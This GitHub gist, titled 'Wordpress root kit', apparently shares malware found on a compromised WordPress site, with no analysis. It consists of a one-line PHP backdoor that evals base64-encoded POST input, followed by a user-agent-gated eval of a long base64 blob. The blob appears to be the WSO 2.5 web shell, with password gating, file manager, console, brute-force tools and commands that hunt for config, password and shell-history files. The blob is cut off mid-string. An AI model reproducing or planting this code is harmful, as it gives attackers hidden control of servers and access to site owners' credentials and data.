Skip to content

Instantly share code, notes, and snippets.

@jdeagle
Created November 27, 2012 20:18
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save jdeagle/4156744 to your computer and use it in GitHub Desktop.
Save jdeagle/4156744 to your computer and use it in GitHub Desktop.
Wordpress root kit
// Injected VIA
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
<?php
$ref = $_SERVER['HTTP_USER_AGENT'];
$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";
if (preg_match($keywordsRegex, $ref)) {
$a='bas'.'e6'.'4_d'.'ecode';eval($a("QGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpA
aW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBz
ZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUn
KTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIFdTT3N0cmlwc2xh
c2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dT
T3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9Q
T1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHJpcHNs
YXNoZXMoJF9DT09LSUUpOw0KfQ0KDQpmdW5jdGlvbiB3c29Mb2dpbigpIHsNCglkaWUoIjxwcmUg
YWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNz
d29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJl
PiIpOw0KfQ0KDQpmdW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7DQogICAgJF9DT09LSUVb
JGtdID0gJHY7DQogICAgc2V0Y29va2llKCRrLCAkdik7DQp9DQoNCmlmKCFlbXB0eSgkYXV0aF9w
YXNzKSkgew0KICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFz
cyddKSA9PSAkYXV0aF9wYXNzKSkNCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsn
SFRUUF9IT1NUJ10pLCAkYXV0aF9wYXNzKTsNCg0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQ
X0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQ0KICAgICAgICB3c29Mb2dpbigpOw0KfQ0KDQppZihz
dHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpDQoJJG9zID0gJ3dpbic7DQpl
bHNlDQoJJG9zID0gJ25peCc7DQoNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7
DQppZighJHNhZmVfbW9kZSkNCiAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQoNCiRkaXNhYmxlX2Z1
bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KJGhvbWVfY3dkID0gQGdl
dGN3ZCgpOw0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKQ0KCUBjaGRpcigkX1BPU1RbJ2MnXSk7DQok
Y3dkID0gQGdldGN3ZCgpOw0KaWYoJG9zID09ICd3aW4nKSB7DQoJJGhvbWVfY3dkID0gc3RyX3Jl
cGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOw0KCSRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAi
LyIsICRjd2QpOw0KfQ0KaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nKQ0KCSRjd2QgLj0g
Jy8nOw0KDQppZighaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAn
YWpheCddKSkNCiAgICAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4
J10gPSAoYm9vbCkkZGVmYXVsdF91c2VfYWpheDsNCg0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlh
c2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGlu
ZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAg
IAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNv
bmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAt
YW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJ
IlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4g
Im5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0
aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQog
IAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBh
IExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJ
CSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0K
ICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQog
IAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAg
LWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10
eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJm
aW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGlu
IGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJ
ImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25m
aWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBm
IC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQg
ZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFs
bCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0K
ICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIg
PT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxl
cyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2
aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNl
cnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10
eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3Vy
cmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5k
IGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hf
aGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIg
PT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAu
ZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMi
LA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg
LiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJs
b2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0
ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUg
cHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUg
cHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15
LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZp
bGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAi
bG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNv
bmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5k
YXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIs
DQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJ
ImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJs
b2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0
LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJ
ImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBm
aWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2Nh
dGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBh
c3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNo
X2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAn
Lm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2Nh
dGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBi
YWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2Nh
dGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2Ig0KCSk7DQoNCmZ1bmN0aW9uIHdzb0hlYWRl
cigpIHsNCglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpDQoJCSRfUE9TVFsnY2hhcnNldCdd
ID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOw0KCWdsb2JhbCAkY29sb3I7DQoJaWYoISRj
b2xvcikJJGNvbG9yID0gJ3doaXRlJzsNCgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVx
dWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NU
WydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBX
U08gIiAuIFdTT19WRVJTSU9OIC4iPC90aXRsZT4NCjxzdHlsZT4NCmJvZHl7YmFja2dyb3VuZC1j
b2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQ0KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxW
ZXJkYW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojZTFlMWUxOyB9DQp0YWJs
ZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQ0Kc3BhbixoMSxheyBj
b2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0NCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0N
CmgxeyBib3JkZXItbGVmdDo1cHggc29saWQgJGNvbG9yO3BhZGRpbmc6IDJweCA1cHg7Zm9udDog
MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4OyB9DQpkaXYuY29u
dGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7
IH0NCmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9DQphOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246
dW5kZXJsaW5lOyB9DQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFy
Z2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCi5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDozMDBw
eDsgfQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91
bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICRjb2xvcjsgZm9udDogOXB0IE1vbm9zcGFj
ZSwnQ291cmllciBOZXcnOyB9DQpmb3JteyBtYXJnaW46MHB4OyB9DQojdG9vbHNUYmx7IHRleHQt
YWxpZ246Y2VudGVyOyB9DQoudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9DQoubWFpbiB0aHt0ZXh0
LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30NCi5tYWluIHRyOmhvdmVye2Jh
Y2tncm91bmQtY29sb3I6IzVlNWU1ZX0NCi5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9DQoubDJ7
YmFja2dyb3VuZC1jb2xvcjojMzMzfQ0KcHJle2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNl
O30NCjwvc3R5bGU+DQo8c2NyaXB0Pg0KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFy
cygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdmFyIGFfID0gJyIgLiBodG1sc3BlY2lhbGNo
YXJzKEAkX1BPU1RbJ2EnXSkgLiInDQogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lh
bGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOw0KICAgIHZhciBwMV8gPSAnIiAuICgoc3Ry
cG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BP
U1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhA
JF9QT1NUWydwMiddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydw
MiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9T
VFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxF
TlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBkID0gZG9jdW1lbnQ7DQoJZnVuY3Rpb24gc2V0KGEs
YyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBk
Lm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMu
dmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZh
bHVlPXAxXzsNCgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFs
dWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1
ZT1wM187DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxz
ZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAy
LHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJt
aXQoKTsNCgl9DQoJZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxj
LHAxLHAyLHAzLGNoYXJzZXQpOw0KCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQoJCWZvcihp
PTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxl
bWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFs
dWUpOw0KCQlzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywg
cGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5Y
TUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlm
ICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNy
b3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25y
ZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVu
KCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgn
Q29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAg
ICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9j
ZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJl
cS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShb
XFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNl
VGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFs
ZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCiAgICAgICAgICAgICAgICAgICAgDQo8L3Njcmlw
dD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7
YmFja2dyb3VuZC1jb2xvcjojNDQ0O3RvcDowO2xlZnQ6MDsnPg0KPGZvcm0gbWV0aG9kPXBvc3Qg
bmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h
Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAx
Pg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1w
Mz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+DQo8L2Zvcm0+IjsNCgkkZnJlZVNw
YWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9IEBk
aXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQoJJHRvdGFsU3BhY2UgPSAkdG90YWxT
cGFjZT8kdG90YWxTcGFjZToxOw0KCSRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KCSRrZXJu
ZWwgPSBAcGhwX3VuYW1lKCdzJyk7DQoJJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29t
L3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3Mo
J0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xp
bnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsg
Lj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYo
IWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJy
ZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7
DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBv
c2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgp
KTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdy
b3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9s
aW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49
Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3Mg
Lj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7
ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9s
aW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFy
cmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2Nicp
Ow0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJ
JG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2No
YXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJ
JG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0Nv
bnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU3RyaW5nIHRvb2xz
Jz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidO
ZXR3b3JrJyk7DQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQoJCSRtWydMb2dv
dXQnXSA9ICdMb2dvdXQnOw0KCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOw0KCSRt
ZW51ID0gJyc7DQoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCgkJJG1lbnUgLj0gJzx0aCB3aWR0
aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwn
Jy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCg0KCSRk
cml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KCQlmb3JlYWNoKHJh
bmdlKCdjJywneicpIGFzICRkcml2ZSkNCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkk
ZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZl
Lic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCWVjaG8gJzx0YWJsZSBjbGFzcz1p
bmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9
MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9C
QUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAg
ICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxh
IGhyZWY9IicgLiAkZXhwbGluayAuICciIHRhcmdldD1fYmxhbms+W2V4cGxvaXQtZGIuY29tXTwv
YT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8
L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9u
KCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSdd
Pyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Z3JlZW4+PGI+T0ZGPC9i
PjwvZm9udD4nKQ0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGws
XCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcg
LiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2Up
